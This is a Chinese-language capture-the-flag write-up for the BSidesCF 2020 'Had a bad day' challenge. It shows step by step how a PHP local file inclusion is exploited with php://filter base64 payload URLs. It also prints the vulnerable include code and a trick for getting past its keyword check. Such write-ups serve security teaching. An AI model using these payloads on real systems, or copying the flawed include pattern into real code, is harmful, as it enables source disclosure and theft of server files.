[BSidesCF 2020] Had a bad day

发布于 2021-08-06  65 次阅读


知识点

php伪协议的参数可以添加无用的,但是整个协议还可以正常使用。

要注意GET传参和寻常时候不一样的敏感点。

解题

检查题目,没有发现什么功能点,扫一下目录

image-20201229151934482

发现一个flag.php,打开一看,

image-20201229152033808

发现有一句提示,整理一下思路

index.php页面没有发现什么有用的功能点,flag.php提示读取这个文件,因此推测,应该是在index.php中通过某种方法,读取flag.php文件

image-20201229152609291

回顾index.php页面,我们发现URL栏中GET传参和平常遇到的不太一样.

这里就没有什么思路了 ,查看wp发现这里,存在两个可能的点

文件包含或者SQL注入

加上我扫出了flag.php文件,所以推测为是文件包含

那么就利用php伪协议读取一下flag.php的内容.

构造payload:

index.php?category=php://filter/read=convert.base64-encode/resource=flag.php

image-20201229154728691

发现读取不到,尝试读取index.php文件

image-20201229154814610

这里产生了报错,查看报错信息,我们发现是多出一个.php,应该是读取文件是自动添加.php的后缀

重新构造payload

index.php?category=php://filter/read=convert.base64-encode/resource=index

image-20201229154325462
 <?php
$file = $_GET['category'];

if(isset($file)){
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

这里 我们发现 文件命里面必须包含woofers或者meowers或者index,所有刚才没有办法直接读取flag.php

现在的问题是如何在包含这三个字符的条件下读取flag.php

查看wp发现,其实很简单把这三个字符中的一个当成协议里面的一个参数就好了。

因此构造payload

index.php?category=php://filter/read=convert.base64-encode/index/resource=flag

image-20201229155909499
image-20201229155937340